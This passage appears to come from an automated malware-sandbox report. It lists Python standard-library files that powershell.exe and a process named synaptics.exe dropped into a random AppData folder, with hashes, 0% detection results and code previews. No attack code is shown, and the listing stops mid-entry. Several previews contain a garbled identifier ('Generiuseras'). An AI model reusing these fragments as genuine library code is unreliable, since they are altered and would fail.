              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):37841
              Entropy (8bit):4.406059603619055
              Encrypted:false
              SSDEEP:
              MD5:8E0D20F2225EAD7947C73C0501010B0E
              SHA1:9012E38B8C51213B943E33B8A4228B6B9EFFC8BC
              SHA-256:4635485D9D964C57317126894ADACA91A027E017AEFD8021797B05415E43DBB4
              SHA-512:D95B672D4BE4CA904521C371DA4255D9491C9FC4D062EB6CF64EF0AB9CD4207C319BBD5CAABE7ADB2AAAA5342DEE74E3D67C9EA7D2FE55CB1B85DF11EE7E3CD3
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:""" codecs -- Python Codec Registry, API and helpers.......Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""....import builtins..import sys....### Registry and builtin stateless codec functions....try:.. from _codecs import *..except ImportError as why:.. raise SystemError('Failed to load the builtin codecs: %s' % why)....__all__ = ["register", "lookup", "open", "EncodedFile", "BOM", "BOM_BE",.. "BOM_LE", "BOM32_BE", "BOM32_LE", "BOM64_BE", "BOM64_LE",.. "BOM_UTF8", "BOM_UTF16", "BOM_UTF16_LE", "BOM_UTF16_BE",.. "BOM_UTF32", "BOM_UTF32_LE", "BOM_UTF32_BE",.. "CodecInfo", "Codec", "IncrementalEncoder", "IncrementalDecoder",.. "StreamReader", "StreamWriter",.. "StreamReaderWriter", "StreamRecoder",.. "getencoder", "getdecoder", "getincrementalencoder",.. "getincrementaldecoder", "getreader", "getwriter",.. "encode", "decode", "iter

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\codeop.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):5762
              Entropy (8bit):4.666424353047493
              Encrypted:false
              SSDEEP:
              MD5:650CB16239456DB3EE0EC431018677BE
              SHA1:1B77A1843EE49FC5A68D11FA83EA7D7A94934293
              SHA-256:EF7216362171A4400547499E84253ABF5D9D167490A06E668E5AD4C57FF2B9FB
              SHA-512:D7B9EC8FC9233BB149891CC5B4DB661A7EA9F5195451D4384B93895D71FE77B235A6353909574A53AA504D664EE50840C61B63AEE34AC1D92240F504D5C266CA
              Malicious:false
              Reputation:unknown
              Preview:r"""Utilities to compile possibly incomplete Python source code.....This module provides two interfaces, broadly similar to the builtin..function compile(), which take program text, a filename and a 'mode'..and:....- Return code object if the command is complete and valid..- Return None if the command is incomplete..- Raise SyntaxError, ValueError or OverflowError if the command is a.. syntax error (OverflowError and ValueError can be produced by.. malformed literals).....The two interfaces are:....compile_command(source, filename, symbol):.... Compiles a single command in the manner described above.....CommandCompiler():.... Instances of this class have __call__ methods identical in.. signature to compile_command; the difference is that if the.. instance compiles program text containing a __future__ statement,.. the instance 'remembers' and compiles all subsequent program texts.. with the statement in force.....The module also provides another class:....Compile():.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\collections\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):52954
              Entropy (8bit):4.506927099682533
              Encrypted:false
              SSDEEP:
              MD5:4F8C270F0FFE58F5C0BF455403EF3F44
              SHA1:8C0DE07C711CD9486A3FF0D2FC8A5CD4C13AE01A
              SHA-256:2E5F3A5A7DE17BC2B2E749F0D2A1387DE2280A0824856360A041B2CA75E77194
              SHA-512:418971A91D03756A0B2790286F67135EE386AAA0817932130DDBA8B68DE601D5E29A3DCCEF1D965BAE22E66606C0A3132D179ABEC7E9296B715E1AAD1E6BDFAC
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:'''This module implements specialized container datatypes providing..alternatives to Python's general purpose built-in containers, dict,..list, set, and tuple.....* namedtuple factory function for creating tuple subclasses with named fields..* deque list-like container with fast appends and pops on either end..* ChainMap dict-like class for creating a single view of multiple mappings..* Counter dict subclass for counting hashable objects..* OrderedDict dict subclass that remembers the order entries were added..* defaultdict dict subclass that calls a factory function to supply missing values..* UserDict wrapper around dictionary objects for easier dict subclassing..* UserList wrapper around list objects for easier list subclassing..* UserString wrapper around string objects for easier string subclassing....'''....__all__ = [.. 'ChainMap',.. 'Counter',.. 'OrderedDict',.. 'UserDict',.. 'UserList',.. 'UserString',.. 'defaultdict',.. 'd

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\collections\__pycache__\__init__.cpython-310.pyc.23945848

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):48476
              Entropy (8bit):5.122611188609568
              Encrypted:false
              SSDEEP:
              MD5:72268E47A18C702F90081B1C0E70534A
              SHA1:9478653BAE2ABF848A027EE9AD3E1F651C09A7BE
              SHA-256:CE132669047E9CCDC8A875440CC592E6C92D2D277A97370468E00444CA380C0B
              SHA-512:DF509158A9F635A23938E3CB85486E3ED28F4159A9F8015EFCF71F8B8EAED163BDE87656D24468A01207B40133A8579C79A9D74ECCDBEAEA1DD077B71E15EAF3
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.yO......Y.n.w.e.j...e.....z.d.d.l.m.Z...W.n...e.yg......Y.n.w.G.d.d...d.e.j ..Z!G.d.d...d.e.j"..Z#G.d.d...d.e.j$..Z%G.d.d...d.e&..Z'G.d.d...d.e(..Z)z.d.d.l.m)Z)..W.n...e.y.......Y.n.w.z.d.d.l.m*Z*..W.n...e.y.......d.d...Z*Y.n.w.d.d.d.d...d.d...Z+d d!..Z,z.d.d"l.m,Z,..W.n...e.y.......Y.n.w.G.d#d$..d$e(..Z-G.d%d&..d&e.j...Z/G.d'd(..d(e.j...Z0G.d)d*..d*e.j...Z1G.d+d,..d,e.j2..Z3d.S.)-a?...This module implements specialized container datatypes providing.alternatives to Python's general purpose built-in containers, dict,.list, set, and tuple...* namedtuple factory function for creating tuple subclasses with named fields.* deque list-like container with fast appends and pops on either end.* ChainMap dict-like class for creating a single view of multiple mappings.* Counter dict subclass

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\collections\__pycache__\abc.cpython-310.pyc.30324624

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):261
              Entropy (8bit):4.855709797631961
              Encrypted:false
              SSDEEP:
              MD5:A070CF64EFE6D35A69176EF9CFD2F895
              SHA1:E1494EAFD82A6638180A6AC52BD84BF8CE4A742B
              SHA-256:99AB14347E32E8A12CE834700821CF78F9E62454D7DA0AAEC5C597241B2325DE
              SHA-512:9E5C64FBDB6A57C03AEE1282DC3F09A9468A987E212C6BCC1DCAE1D2B8E44F0572A2DF1AB049E4500CC0DE3448CBD7C2186B4776E14129E2236DB93DF590BE94
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dz........................@...s$...d.d.l.T.d.d.l.m.Z...d.d.l.m.Z...d.S.)......)...*)...__all__)..._CallableGeneriuserasN)..._collections_abcr....r......r....r.....=C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\collections\abc.py..<module>....s..........

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\collections\abc.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):122
              Entropy (8bit):4.154562766131627
              Encrypted:false
              SSDEEP:
              MD5:BEF5A0AF889CBE656D8F36952B66D86A
              SHA1:F58423BE30ACEC27E1B47617F47D2B6C94F01A72
              SHA-256:7AD86878712FC6682863F12208F4CED5DAF2DD82B6FF5ED58207DE29D0EFA410
              SHA-512:9DD60F99DA7FCAABE8CE08AB012CD507A98EE6E47DDA4A4E462CEB57DB16653B97B21D1DF1436DCCEDB1CD4B59433CECB697BCC3E031B52585F67C8454DB487D
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:from _collections_abc import *..from _collections_abc import __all__..from _collections_abc import _CallableGeneriuseras..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\colorsys.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):4182
              Entropy (8bit):4.941140768387096
              Encrypted:false
              SSDEEP:
              MD5:155B90E667001B9A1FAE754CB38AFEE8
              SHA1:47C7E6928D08DC2FBF692D89B01E59DD8CA82183
              SHA-256:33885389962DA4BCD82B1286A184367116F6F407F61E18ECEFB09A1D8F17CF41
              SHA-512:0F7458FF53A6039B6F0DE62D7C3050BCF0F76E7B51C7BCE2E849E690B110299B561C5CA48FA5390F98D4148BA3FA6ACC48B1CAF8FAE4C063604005FBCDCD3704
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""Conversion functions between RGB and other color systems.....This modules provides two functions for each color system ABC:.... rgb_to_abc(r, g, b) --> a, b, c.. abc_to_rgb(a, b, c) --> r, g, b....All inputs and outputs are triples of floats in the range [0.0...1.0]..(with the exception of I and Q, which covers a slightly larger range)...Inputs outside the valid range may cause exceptions or invalid outputs.....Supported color systems:..RGB: Red, Green, Blue components..YIQ: Luminance, Chrominance (used by composite video signals)..HLS: Hue, Luminance, Saturation..HSV: Hue, Saturation, Value.."""....# References:..# http://en.wikipedia.org/wiki/YIQ..# http://en.wikipedia.org/wiki/HLS_color_space..# http://en.wikipedia.org/wiki/HSV_color_space....__all__ = ["rgb_to_yiq","yiq_to_rgb","rgb_to_hls","hls_to_rgb",.. "rgb_to_hsv","hsv_to_rgb"]....# Some floating point constants....ONE_THIRD = 1.0/3.0..ONE_SIXTH = 1.0/6.0..TWO_THIRD = 2.0/3.0....# YIQ: used by composite video si

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\compileall.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):20715
              Entropy (8bit):4.1633554259094465
              Encrypted:false
              SSDEEP:
              MD5:86772D3D944A28FBB5A6E79CA763ED41
              SHA1:CEAF743DEA6B5E115D6EB4A3369172EE3C572C1A
              SHA-256:2A2ADE75EA3DB61BC608962F40AF56F6BEAE3F16F87E8B81824E2D88F9964C2D
              SHA-512:1D8638DD0C44C98D56A3BCA8816C788ECE897FD7554917605BE7E5D9CBC9537EC5120AD678B9369A320E89F592614D1D6C3E1BCF4909BF583A0C748E0CD4FAC7
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""Module/script to byte-compile all .py files to .pyc files.....When called as a script with arguments, this compiles the directories..given as arguments recursively; the -l option prevents it from..recursing into directories.....Without arguments, if compiles all modules on sys.path, without..recursing into subdirectories. (Even though it should do so for..packages -- for now, you'll have to deal with packages separately.)....See module py_compile for details of the actual byte-compilation..."""..import os..import sys..import importlib.util..import py_compile..import struct..import filecmp....from functools import partial..from pathlib import Path....__all__ = ["compile_dir","compile_file","compile_path"]....def _walk_dir(dir, maxlevels, quiet=0):.. if quiet < 2 and isinstance(dir, os.PathLike):.. dir = os.fspath(dir).. if not quiet:.. print('Listing {!r}...'.format(dir)).. try:.. names = os.listdir(dir).. except OSError:.. if quiet < 2:..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\concurrent\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):39
              Entropy (8bit):4.2336188853070205
              Encrypted:false
              SSDEEP:
              MD5:F8259102DFC36D919A899CDB8FDE48CE
              SHA1:4510C766809835DAB814C25C2223009EB33E633A
              SHA-256:52069AEEFB58DAD898781D8BDE183FFDA18FAAE11F17ACE8CE83368CAB863FB1
              SHA-512:A77C8A67C95D49E353F903E3BD394E343C0DFA633DCFFBFD7C1B34D5E1BDFB9A372ECE71360812E44C5C5BADFA0FC81387A6F65F96616D6307083C2B3BB0213F
              Malicious:false
              Reputation:unknown
              Preview:# This directory is a Python package...

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\concurrent\futures\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1607
              Entropy (8bit):4.235604960068566
              Encrypted:false
              SSDEEP:
              MD5:D5B3EA2EE977275CB75FA7254050B426
              SHA1:26446C7B142D2C5FC70F57A0A84EA25D281699CC
              SHA-256:954D4FFDEF55E3B4A273DF7CE43DCD4082DC07FFA0B7CC0BF7C5D7971D2A5103
              SHA-512:04B3C3E7195FF5099B17F0DD40F84EB1CB4ECF3D0D214EEB4ECFAE200CE3BE5BB5365B35909AF9FD71FF0A87EFDF30EA8FE891296B8372F795CCB0C518C558A4
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:# Copyright 2009 Brian Quinlan. All Rights Reserved...# Licensed to PSF under a Contributor Agreement....."""Execute computations asynchronously using threads or processes."""....__author__ = 'Brian Quinlan (brian@sweetapp.com)'....from concurrent.futures._base import (FIRST_COMPLETED,.. FIRST_EXCEPTION,.. ALL_COMPLETED,.. CancelledError,.. TimeoutError,.. InvalidStateError,.. BrokenExecutor,.. Future,.. Executor,.. wait,.. as_completed)....__all__ = (.. 'FIRST_COMPLETED',.. 'FIRST_EXCEPTION',.. 'ALL_COMPLETED',.. 'CancelledError',.. 'TimeoutError',.. 'BrokenExecutor',.. 'Future',.. 'Executor',..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\concurrent\futures\_base.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):23504
              Entropy (8bit):4.468628954944452
              Encrypted:false
              SSDEEP:
              MD5:93DB82D99C74121B1797F2063F319585
              SHA1:A0FC36E2E91766B7A99631E8D51B878F8EFA52FE
              SHA-256:F76ACCAF92680AC116460909422ABF26209FE57041B627B6C06752977CCEB109
              SHA-512:93481B3765891337D8B25DEAAAECA5B79747A7EDC7DFC21F223892028938D61FB75CE1393CB942DAED05AD884320678FA39C5A9A120C26E9244E30D1A50A2EEB
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:# Copyright 2009 Brian Quinlan. All Rights Reserved...# Licensed to PSF under a Contributor Agreement.....__author__ = 'Brian Quinlan (brian@sweetapp.com)'....import collections..import logging..import threading..import time..import types....FIRST_COMPLETED = 'FIRST_COMPLETED'..FIRST_EXCEPTION = 'FIRST_EXCEPTION'..ALL_COMPLETED = 'ALL_COMPLETED'.._AS_COMPLETED = '_AS_COMPLETED'....# Possible future states (for internal use by the futures package)...PENDING = 'PENDING'..RUNNING = 'RUNNING'..# The future was cancelled by the user.....CANCELLED = 'CANCELLED'..# ...and _Waiter.add_cancelled() was called by a worker...CANCELLED_AND_NOTIFIED = 'CANCELLED_AND_NOTIFIED'..FINISHED = 'FINISHED'...._FUTURE_STATES = [.. PENDING,.. RUNNING,.. CANCELLED,.. CANCELLED_AND_NOTIFIED,.. FINISHED..]...._STATE_TO_DESCRIPTION_MAP = {.. PENDING: "pending",.. RUNNING: "running",.. CANCELLED: "cancelled",.. CANCELLED_AND_NOTIFIED: "cancelled",.. FINISHED: "finished"..}....# Logger

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\concurrent\futures\process.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):32786
              Entropy (8bit):4.435552445856024
              Encrypted:false
              SSDEEP:
              MD5:8BE1FA85BDB6A2F722E1655E1901D9A5
              SHA1:D192DAE1349A0FEFF76F2F38251D29564426B704
              SHA-256:8DFCAA4EA1AB7350CB85FFA3DD6E43D99A951FF50A76EA1DBD32842D7AE277A0
              SHA-512:E737E322559AACFF016C5994CF466E2B40FDC2B35875301CBD6A25D9FF9C98D4421DC8EB7BC1EC08DF5092ACC06E40F3335699A4F0A81E7D8288695727B59BDC
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:# Copyright 2009 Brian Quinlan. All Rights Reserved...# Licensed to PSF under a Contributor Agreement....."""Implements ProcessPoolExecutor.....The following diagram and text describe the data-flow through the system:....|======================= In-process =====================|== Out-of-process ==|....+----------+ +----------+ +--------+ +-----------+ +---------+..| | => | Work Ids | | | | Call Q | | Process |..| | +----------+ | | +-----------+ | Pool |..| | | ... | | | | ... | +---------+..| | | 6 | => | | => | 5, call() | => | |..| | | 7 | | | | ... | | |..| Process | | ... | | Local | +-----------+ | Process |..| Pool | +----------+ | Worker | | #1..n |..| Executor | | Thread |

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\concurrent\futures\thread.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):9007
              Entropy (8bit):4.337359259102267
              Encrypted:false
              SSDEEP:
              MD5:2896FAE3BBC3EDA99EB9A2715924F3BB
              SHA1:C81D93475ECB0C8702D2CB3B57F8ABFE3CFE402C
              SHA-256:F53E2BED48B9828D273F7B7A16ACBA0D21005F5FDD9E3054536275538A70E719
              SHA-512:A1110CADC406B02E8FB88C98F03D1132476612AF7E8C93D0E6BB413826AEECBC764358A5FA91227A5136BBBE6F7D323095F4C55D16F2723AFAD737524DA13FAD
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:# Copyright 2009 Brian Quinlan. All Rights Reserved...# Licensed to PSF under a Contributor Agreement....."""Implements ThreadPoolExecutor."""....__author__ = 'Brian Quinlan (brian@sweetapp.com)'....from concurrent.futures import _base..import itertools..import queue..import threading..import types..import weakref..import os......_threads_queues = weakref.WeakKeyDictionary().._shutdown = False..# Lock that ensures that new workers are not created while the interpreter is..# shutting down. Must be held while mutating _threads_queues and _shutdown..._global_shutdown_lock = threading.Lock()....def _python_exit():.. global _shutdown.. with _global_shutdown_lock:.. _shutdown = True.. items = list(_threads_queues.items()).. for t, q in items:.. q.put(None).. for t, q in items:.. t.join()....# Register for `_python_exit()` to be called just before joining all..# non-daemon threads. This is used instead of `atexit.register()` for..# compatibility with subint

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\configparser.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):55980
              Entropy (8bit):4.368047563053184
              Encrypted:false
              SSDEEP:
              MD5:E2E049217E2DEF4D361FEC0E2C25B507
              SHA1:5F959A6B69F00A1AF8EB9822F79D6D66F0EA05D7
              SHA-256:F03B42D5031A340528293A9F8F61F65A2F05E0DED3B4CD2E8AE6C81995ED38E5
              SHA-512:C6150D588760EC17A7EA4B8401ABB2DB6AD1357E0FC78DCCD8152C135776070BA686C1F66596D515289FF1C6CDDB586E9CEC7423EE92650D72E26C00AD1BB96A
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""Configuration file parser.....A configuration file consists of sections, lead by a "[section]" header,..and followed by "name: value" entries, with continuations and such in..the style of RFC 822.....Intrinsic defaults can be specified by passing them into the..ConfigParser constructor as a dictionary.....class:....ConfigParser -- responsible for parsing a list of.. configuration files, and managing the parsed database..... methods:.... __init__(defaults=None, dict_type=_default_dict, allow_no_value=False,.. delimiters=('=', ':'), comment_prefixes=('#', ';'),.. inline_comment_prefixes=None, strict=True,.. empty_lines_in_values=True, default_section='DEFAULT',.. interpolation=<unset>, converters=<unset>):.... Create the parser. When `defaults` is given, it is initialized into the.. dictionary or intrinsic defaults. The keys must be strings, the values.. must be appropriate for %()s string in

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\contextlib.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):26627
              Entropy (8bit):4.372794794720749
              Encrypted:false
              SSDEEP:
              MD5:F26C810F186A8C2F158EEE1090238DDB
              SHA1:280B4ABED6C0BFDEF651011ECD21E89F91E6E2A6
              SHA-256:ACD2A8C3F86CE069FB43CDE542BA8A8BD17FD9FB27EF5FCF38210D599A7F344F
              SHA-512:354F476256213149604F8D79D68AEF37D757FC6A1D3B8FAEB8CA8F77E96F139E2DFBED8AA2FAEBEFDCCB646BAE86254BEEAABD440FE0D3DDABC8207161E4167D
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""Utilities for with-statement contexts. See PEP 343."""..import abc..import sys..import _collections_abc..from collections import deque..from functools import wraps..from types import MethodType, Generiuseras....__all__ = ["asynccontextmanager", "contextmanager", "closing", "nullcontext",.. "AbstractContextManager", "AbstractAsyncContextManager",.. "AsyncExitStack", "ContextDecorator", "ExitStack",.. "redirect_stdout", "redirect_stderr", "suppress", "aclosing"]......class AbstractContextManager(abc.ABC):.... """An abstract base class for context managers.""".... __class_getitem__ = classmethod(Generiuseras).... def __enter__(self):.. """Return `self` upon entering the runtime context.""".. return self.... @abc.abstractmethod.. def __exit__(self, exc_type, exc_value, traceback):.. """Raise any exception triggered within the runtime context.""".. return None.... @classmethod.. def __subclasshook__(cls, C):.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\contextvars.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):133
              Entropy (8bit):4.404091567342511
              Encrypted:false
              SSDEEP:
              MD5:031F54940ABDF481926457972FD90E0F
              SHA1:75689CDC1D790A7BC71E507903A00882DB6B652A
              SHA-256:758A96E17249E1E97C5CA5D1EE39AA31E5D439D0922AE7AF0064318E70B59FC8
              SHA-512:187E365C0237144C2C3827305B8BB678BFE5161A4AC4AC0E115F78C199DE3D18438FA124CF4303A9175F82FBE8E45057A733337B35ED8B20F9575A18B066A8DC
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:from _contextvars import Context, ContextVar, Token, copy_context......__all__ = ('Context', 'ContextVar', 'Token', 'copy_context')..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\copy.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):8985
              Entropy (8bit):4.414349685597416
              Encrypted:false
              SSDEEP:
              MD5:EF129FD70ED7839F65F7F8CF39EA1B74
              SHA1:867C3ED0C4E926460AF3370F1F555DF8E6E7334A
              SHA-256:82AFA1D570D4D328EFBBA5CDE3FC21025A44E3CFE5E10D9316A73745194A236B
              SHA-512:3108600E03CD66C5BBE2CD37D5539DC961CF62F2385CC4BFB3F15B5FBED0485B820DB753A4EDEC7C4891DAE2CB3A6520C705BD2E3830A014A9D88524FB7A93B9
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""Generic (shallow and deep) copying operations.....Interface summary:.... import copy.... x = copy.copy(y) # make a shallow copy of y.. x = copy.deepcopy(y) # make a deep copy of y....For module specific errors, copy.Error is raised.....The difference between shallow and deep copying is only relevant for..compound objects (objects that contain other objects, like lists or..class instances).....- A shallow copy constructs a new compound object and then (to the.. extent possible) inserts *the same objects* into it that the.. original contains.....- A deep copy constructs a new compound object and then, recursively,.. inserts *copies* into it of the objects found in the original.....Two problems often exist with deep copy operations that don't exist..with shallow copy operations:.... a) recursive objects (compound objects that, directly or indirectly,.. contain a reference to themselves) may cause a recursive loop.... b) because deep copy copies *eve

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\copyreg.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7645
              Entropy (8bit):4.489970415664536
              Encrypted:false
              SSDEEP:
              MD5:5B6BA7867D653890AF7572CC0AAAB479
              SHA1:6877D39632885002917342DF18E83BEBD42339EA
              SHA-256:E5BF33A527D7251F17BFD491AD0F0858E1A3C4C7C10DC5E578FDB6C80C8F9336
              SHA-512:841389A1C64F9384F17F78C929D4161B42CE3389F6AC47666CF1B3CCFEF77F2033EBC86087CB2878BEE336623FC1FAD772F3CD751A57E3797CE0807D75E115BD
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""Helper to provide extensibility for pickle.....This is only useful to add pickle support for extension types defined in..C, not for instances of user-defined classes..."""....__all__ = ["pickle", "constructor",.. "add_extension", "remove_extension", "clear_extension_cache"]....dispatch_table = {}....def pickle(ob_type, pickle_function, constructor_ob=None):.. if not callable(pickle_function):.. raise TypeError("reduction functions must be callable").. dispatch_table[ob_type] = pickle_function.... # The constructor_ob function is a vestige of safe for unpickling... # There is no reason for the caller to pass it anymore... if constructor_ob is not None:.. constructor(constructor_ob)....def constructor(object):.. if not callable(object):.. raise TypeError("constructors must be callable")....# Example: provide pickling support for complex numbers.....try:.. complex..except NameError:.. pass..else:.... def pickle_complex(c):..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\crypt.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3968
              Entropy (8bit):4.824103634261663
              Encrypted:false
              SSDEEP:
              MD5:32B7E13B0D5DB6085076605DC93A4FFF
              SHA1:639C5571A9118FC62C0CF24D6D07A1340126F7CB
              SHA-256:3C30CC40B548B1EF7009CE2F378F5516F5E2FB325208C377D892D3ABB4A2EA88
              SHA-512:C8579D85830254EF0BBF2B9E7EDFF694807A99B36DBB8BC5C8456FCF6F9465ABEFF9A77AD143AE9C609B73830C60A6CE534A850069332B3956252A8C9979D386
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""Wrapper to the POSIX crypt library call and associated functionality."""....import sys as _sys....try:.. import _crypt..except ModuleNotFoundError:.. if _sys.platform == 'win32':.. raise ImportError("The crypt module is not supported on Windows").. else:.. raise ImportError("The required _crypt module was not built as part of CPython")....import errno..import string as _string..from random import SystemRandom as _SystemRandom..from collections import namedtuple as _namedtuple......_saltchars = _string.ascii_letters + _string.digits + './'.._sr = _SystemRandom()......class _Method(_namedtuple('_Method', 'name ident salt_chars total_size')):.... """Class representing a salt method per the Modular Crypt Format or the.. legacy 2-character crypt method.""".... def __repr__(self):.. return '<crypt.METHOD_{}>'.format(self.name)......def mksalt(method=None, *, rounds=None):.. """Generate a salt for the specified method..... If not specified, the

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\csv.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):16474
              Entropy (8bit):4.36498470229318
              Encrypted:false
              SSDEEP:
              MD5:CC8985ECA9F01BE5592599AEB491413C
              SHA1:0A0D6B94B6E0FFD07EF0A4B91F638FA5FADF9E18
              SHA-256:D5194CB311061A9AE2D0BF0B6A51C1ECEC011CDC2B5E6EBA91820C91FB00AC97
              SHA-512:D887C8CC8FF58D32F05C5797DC0189DB004CDF4D49C488BCFDC1A03A5BDAAA902DCDB998A4130D16C71B69B3BA34793E5E7984FEB75385E4FB77A03AEA6FC207
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:.."""..csv.py - read/write/investigate CSV files.."""....import re..from _csv import Error, __version__, writer, reader, register_dialect, \.. unregister_dialect, get_dialect, list_dialects, \.. field_size_limit, \.. QUOTE_MINIMAL, QUOTE_ALL, QUOTE_NONNUMERIC, QUOTE_NONE, \.. __doc__..from _csv import Dialect as _Dialect....from io import StringIO....__all__ = ["QUOTE_MINIMAL", "QUOTE_ALL", "QUOTE_NONNUMERIC", "QUOTE_NONE",.. "Error", "Dialect", "__doc__", "excel", "excel_tab",.. "field_size_limit", "reader", "writer",.. "register_dialect", "get_dialect", "list_dialects", "Sniffer",.. "unregister_dialect", "__version__", "DictReader", "DictWriter",.. "unix_dialect"]....class Dialect:.. """Describe a CSV dialect..... This must be subclassed (see csv.excel). Valid attributes are:.. delimiter, quotechar, escapechar, doublequote, skipinitialspace,.. lineterminator,

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
